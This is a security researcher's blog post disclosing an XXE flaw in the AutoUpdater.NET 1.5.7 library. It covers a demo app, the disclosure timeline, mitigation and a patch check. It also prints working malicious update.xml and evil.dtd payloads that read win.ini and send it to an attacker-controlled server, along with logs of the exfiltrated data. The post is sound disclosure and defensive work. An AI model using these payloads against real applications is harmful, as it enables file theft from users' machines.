Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I recently found an AutoUpdater Vulnerability, and I am now ready to publish it.
The AutoUpdater.NET version 1.5.7 library is vulnerable to an XXE injection attack.
This is a popular library, based on the GitHub statistics.
I found the vulnerability easily, but the developer was quick to respond and patch the issue.
I ran across this library while testing a different application, so hopefully I can share those vulnerabilities soon as well.
The format will be like my NateMail disclosure, but please let me know if you have any suggestions or updates.
An XML external entity (XXE) vulnerability in the RBSoft AutoUpdater.NET version 1.5.7 application allows an attacker to cause a denial of service, conduct SMB Relay attacks, reach internal network endpoints, or access arbitrary files via a malicious update.xml file.
First, the tester built a demo application to verify the updater functionality. The following demo points AutoUpdater to a server under the tester's control, for demo purposes.
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; using AutoUpdaterDotNET; namespace UpdaterTest { /// <summary> /// Interaction logic for MainWindow.xaml /// </summary> public partial class MainWindow : Window { public MainWindow() { InitializeComponent(); } private void Button_Click(object sender, RoutedEventArgs e) { AutoUpdater.Start("http://r4y.pw/update.xml"); } } }
Next, the tester created a malicious update.xml file, based on the RBSoft supplied example. As you can see, this references an external DTD on the Burp Collaborator server.
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://l9v77vu7hd6scxvor5azndsuul0bo0.burpcollaborator.net/x"> %ext;
]>
<item>
<version>2.0.0.0</version>
<url>http://rbsoft.org/downloads/AutoUpdaterTest.zip</url>
<changelog>https://github.com/ravibpatel/AutoUpdater.NET/releases</changelog>
<mandatory>false</mandatory>
</item>
The following screenshot shows the application making requests to the Collaborator server.
The following raw HTTP request and response demonstrates the application calling out to the Collaborator server.
Raw Request
GET /x HTTP/1.1
Host: l9v77vu7hd6scxvor5azndsuul0bo0.burpcollaborator.net
Connection: Keep-Alive
Raw Response
HTTP/1.1 200 OK Server: Burp Collaborator https://burpcollaborator.net/ X-Collaborator-Version: 4 Content-Type: text/html Content-Length: 53 <html><body>eqgf4fyz7yxbjo9bm56x9uzjigz</body></html>
With some modifications, the tester declared an external DTD, to show data exfiltration of the wini.ini file. You can find the modified update.xml file below.
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://r4y.pw/evil.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
<item>
<version>2.0.0.0</version>
<url>http://rbsoft.org/downloads/AutoUpdaterTest.zip</url>
<changelog>https://github.com/ravibpatel/AutoUpdater.NET/releases</changelog>
<mandatory>false</mandatory>
</item>
Additionally, you can find the contents of the evil.dtd below. As you can see, the DTD loads the win.ini file, and then sends it back to the attacker-controlled server.
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://r4y.pw/%data;'>">
The following HTTP server logs show the request for update.xml by AutoUpdater, followed be the request for the evil.dtd, and finally the request with exfiltrated win.ini file.
70.x.x.x - - [29/Oct/2019:00:07:16 +0000] "GET /update.xml HTTP/1.1" 200 683 "-" "AutoUpdater.NET" 70.x.x.x - - [29/Oct/2019:00:07:16 +0000] "GET /evil.dtd HTTP/1.1" 200 324 "-" "-" 70.x.x.x - - [29/Oct/2019:00:07:16 +0000] "GET /;%20for%2016-bit%20app%20support%0D%0A%5Bfonts%5D%0D%0A%5Bextensions%5D%0D%0A%5Bmci%20extensions%5D%0D%0A%5Bfiles%5D%0D%0A%5BMail%5D%0D%0AMAPI=1%0D%0A%5BMCI%20Extensions.BAK%5D%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo HTTP/1.1" 403 432 "-" "-"
The entire AppCast XML file is the vulnerable injection point.
Due to the application pointing to a specific update.xml file, an attacker would need to either point the update to a malicious update.xml file, or man-in-the-middle the connection and modify the update.xml file in transit.
The safest way to prevent XXE is always to disable DTDs (External Entities) completely. In this case, as the library is using the .NET XmlDocument, the xmlDoc.XmlResolver should be set to null. Note that updating the target framework to .Net 4.6 will cause this behavior by default.
For more information, please see the XXE Prevention Cheat Sheet.
Severity: High
CVSSv3
8.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)
Damage
An attacker can use this vulnerability to compromise the confidentiality of the system running the AutoUpdater application and/or lead to exploitation of the victim's system.
Reproducibility
This attack is easily reproducible and will work on any application using AutoUpdater.NET up to version 1.5.7.
Exploitability
If an attacker can host a malicious update.xml file, or change a target update.xml file in transit, then the attack is easily automated.
10/29/2019 – Initial attempt to contact vendor.
10/30/2019 – Initial vendor contact to discuss secure communication channel.
10/30/2019 – Initial disclosure to vendor.
10/31/2019 – Vendor acknowledged and patched.
10/31/2019 – CVE requested.
12/3/2019 – CVE updates sent, and status requested.
1/10/2020 – CVE again requested.
3/22/2020 – CVE AGAIN requested, using a different e-mail address.
3/23/2020 – CVE assigned (CVE-2019-20627).
3/28/2020 – This post published.
Finally, just one day after I sent my disclosure to the developer, they committed a patch.
Also, I got an advance release of version 1.5.8 to test the fix.
As expected, the application only made a request for update.xml, and not my malicious DTD files.
174.x.x.x - - [31/Oct/2019:14:49:34 +0000] "GET /update.xml HTTP/1.1" 200 683 "-" "AutoUpdater.NET"
This was a cool vulnerability, and it was great to find XXE in the wild again.
I’m getting a better handle on the CVE process, but sometimes it can take a long time to get a response. I still have more vulnerabilities in the works, so stay tuned.
If you have any ideas for research or posts, then please let me know!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.